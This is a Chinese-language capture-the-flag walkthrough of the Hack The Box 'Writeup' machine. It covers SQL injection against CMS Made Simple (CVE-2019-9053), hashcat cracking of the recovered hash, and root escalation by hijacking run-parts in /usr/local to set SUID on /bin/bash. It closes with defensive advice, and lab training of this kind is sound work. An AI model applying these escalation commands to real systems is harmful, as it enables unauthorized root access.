HTB-writeup-writeup
字数 1049 2025-08-29 08:29:41

HTB Writeup 渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

  • 使用 nmap 进行初始端口扫描,发现开放端口:
    • 22 (SSH)
    • 80 (HTTP)

1.2 域名发现

  • 访问IP地址发现提示两个域名:
    • writeup.htb
    • www.hackthebox.eu
  • 将这两个域名添加到本地hosts文件进行解析

1.3 备份文件扫描

  • 使用 gobuster 扫描可能的备份文件,但未发现有用信息

1.4 深入端口扫描

  • 发现80端口状态为 tcpwrapped,进行针对性扫描
  • 发现 /writeup/ 路径,运行的是 CMS Made Simple 系统

2. 漏洞利用阶段

2.1 CMS Made Simple 漏洞利用

  • 查找并利用CMS Made Simple的已知漏洞
  • 使用基于时间盲注的PoC脚本(CVE-2019-9053)
    • 注意:由于网络延迟,该脚本需要在pwn box上执行
  • 获取的关键信息:
    [+] Salt for password found: 5a599ef579066807
    [+] Username found: jkr
    [+] Email found: jkr@writeup.htb
    [+] Password found: 62def4866937f08cc13bab43bb14e6f7
    

2.2 密码破解

  • 使用hashcat破解获取的哈希:
    hashcat -m 20 -a 0 -o cracked.txt --username hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
    
  • 破解结果:
    • 用户名: jkr
    • 密码: raykayjay9

3. 权限提升阶段

3.1 初始访问

  • 使用SSH登录系统:
    ssh jkr@<target_ip>
    
    密码: raykayjay9

3.2 信息收集

  • 上传 linpeas.sh 脚本进行本地提权点检测
  • 发现用户属于 staff

3.3 利用staff组权限

  • 根据HackTricks的提权方法:
    • staff 组允许用户对 /usr/local 目录进行修改
    • 目标是劫持 run-parts 工具

提权步骤:

  1. 创建恶意 run-parts 脚本:
    echo '#! /bin/bash' > /usr/local/bin/run-parts
    echo 'chmod 4777 /bin/bash' >> /usr/local/bin/run-parts
    
  2. 添加执行权限:
    chmod +x /usr/local/bin/run-parts
    
  3. 等待系统或用户通过SSH登录触发脚本
  4. 获取root shell:
    /bin/bash -p
    

4. 关键知识点总结

  1. CMS Made Simple漏洞:CVE-2019-9053是基于时间盲注的漏洞,可提取敏感信息

  2. 密码破解:使用hashcat模式20(salt+pass)进行破解

  3. Linux提权

    • staff 组的特殊权限
    • /usr/local 目录的可写性利用
    • run-parts 工具的劫持方法
  4. 权限维持:通过设置SUID位(chmod 4777)来维持权限

5. 防御建议

  1. CMS安全

    • 及时更新CMS系统
    • 限制管理后台访问
  2. 密码安全

    • 使用强密码策略
    • 避免使用已知泄露密码
  3. 系统权限

    • 严格控制staff组成员
    • 监控/usr/local目录的修改
    • 定期检查SUID/SGID文件
HTB Writeup 渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用 nmap 进行初始端口扫描,发现开放端口: 22 (SSH) 80 (HTTP) 1.2 域名发现 访问IP地址发现提示两个域名: writeup.htb www.hackthebox.eu 将这两个域名添加到本地hosts文件进行解析 1.3 备份文件扫描 使用 gobuster 扫描可能的备份文件,但未发现有用信息 1.4 深入端口扫描 发现80端口状态为 tcpwrapped ,进行针对性扫描 发现 /writeup/ 路径,运行的是 CMS Made Simple 系统 2. 漏洞利用阶段 2.1 CMS Made Simple 漏洞利用 查找并利用CMS Made Simple的已知漏洞 使用基于时间盲注的PoC脚本(CVE-2019-9053) 注意:由于网络延迟,该脚本需要在pwn box上执行 获取的关键信息: 2.2 密码破解 使用hashcat破解获取的哈希: 破解结果: 用户名: jkr 密码: raykayjay9 3. 权限提升阶段 3.1 初始访问 使用SSH登录系统: 密码: raykayjay9 3.2 信息收集 上传 linpeas.sh 脚本进行本地提权点检测 发现用户属于 staff 组 3.3 利用staff组权限 根据HackTricks的提权方法: staff 组允许用户对 /usr/local 目录进行修改 目标是劫持 run-parts 工具 提权步骤: 创建恶意 run-parts 脚本: 添加执行权限: 等待系统或用户通过SSH登录触发脚本 获取root shell: 4. 关键知识点总结 CMS Made Simple漏洞 :CVE-2019-9053是基于时间盲注的漏洞,可提取敏感信息 密码破解 :使用hashcat模式20(salt+pass)进行破解 Linux提权 : staff 组的特殊权限 /usr/local 目录的可写性利用 run-parts 工具的劫持方法 权限维持 :通过设置SUID位( chmod 4777 )来维持权限 5. 防御建议 CMS安全 : 及时更新CMS系统 限制管理后台访问 密码安全 : 使用强密码策略 避免使用已知泄露密码 系统权限 : 严格控制 staff 组成员 监控 /usr/local 目录的修改 定期检查SUID/SGID文件